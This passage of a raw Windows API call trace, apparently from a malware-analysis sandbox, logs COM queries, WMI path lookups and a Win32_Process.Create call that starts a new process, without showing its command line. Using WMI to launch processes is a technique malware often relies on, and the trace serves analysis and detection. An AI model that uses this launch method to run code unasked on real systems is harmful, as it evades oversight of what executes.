[3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0128.169] IUnknown:AddRef (This=0x1b4d6b40) returned 0x3 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d6b48) returned 0x0 [0128.169] IMarshal:GetUnmarshalClass (in: This=0x1b4d6b48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0128.169] IUnknown:Release (This=0x1b4d6b48) returned 0x3 [0128.169] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0128.169] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0128.169] IUnknown:Release (This=0x1b4d6b40) returned 0x2 [0128.169] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0128.169] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0128.170] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0128.170] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0128.170] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0128.170] IUnknown:AddRef (This=0x1b4d6b40) returned 0x3 [0128.170] IWbemClassObject:Put (This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d6b40, varVal2=0x0), Type=0) returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0128.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.170] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.170] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0128.170] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511a58) returned 0x0 [0128.170] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0128.170] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0128.170] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.170] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0128.170] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511a58) returned 0x0 [0128.171] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0128.171] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0128.171] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0128.171] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0128.171] IWbemServices:ExecMethod (in: This=0x1b4ced40, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b469f40, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ad8d0, ppCallResult=0x0) returned 0x0 [0128.237] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728498*=0, plFlavor=0x272849c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x348, varVal2=0x0), pType=0x2728498*=19, plFlavor=0x272849c*=0) returned 0x0 [0128.238] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728498*=19, plFlavor=0x272849c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x348, varVal2=0x0), pType=0x2728498*=19, plFlavor=0x272849c*=0) returned 0x0 [0128.238] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0128.238] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0128.238] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0128.238] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.239] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b482df0) returned 0x0 [0128.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482df0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0128.239] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482df0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af9a0) returned 0x0 [0128.239] WbemDefPath:IUnknown:Release (This=0x1b482df0) returned 0x0 [0128.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af9a0) returned 0x0 [0128.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0128.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0128.240] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0128.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0128.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0128.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b482a90) returned 0x0 [0128.240] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482a90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.240] WbemDefPath:IUnknown:Release (This=0x1b482a90) returned 0x3 [0128.240] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0128.240] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0128.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0128.240] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0128.240] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0128.240] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0128.240] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0128.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af9a0) returned 0x0 [0128.240] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0128.240] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0128.240] WbemDefPath:IWbemPath:SetText (This=0x1b4af9a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0128.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0128.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0128.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0128.241] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af9a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0128.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0128.241] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af9a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0128.241] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0128.241] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0128.241] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0128.241] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.241] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b482ab0) returned 0x0 [0128.241] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482ab0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482ab0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af760) returned 0x0 [0128.242] WbemDefPath:IUnknown:Release (This=0x1b482ab0) returned 0x0 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af760) returned 0x0 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b482f50) returned 0x0 [0128.242] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482f50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.242] WbemDefPath:IUnknown:Release (This=0x1b482f50) returned 0x3 [0128.242] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0128.242] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0128.242] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0128.242] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0128.242] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0128.242] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0128.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af760) returned 0x0 [0128.243] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0128.243] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0128.243] WbemDefPath:IWbemPath:SetText (This=0x1b4af760, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0128.243] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.243] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0128.243] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0128.243] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0128.243] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.244] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b482f90) returned 0x0 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482f90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0128.244] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482f90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b0720) returned 0x0 [0128.244] WbemDefPath:IUnknown:Release (This=0x1b482f90) returned 0x0 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 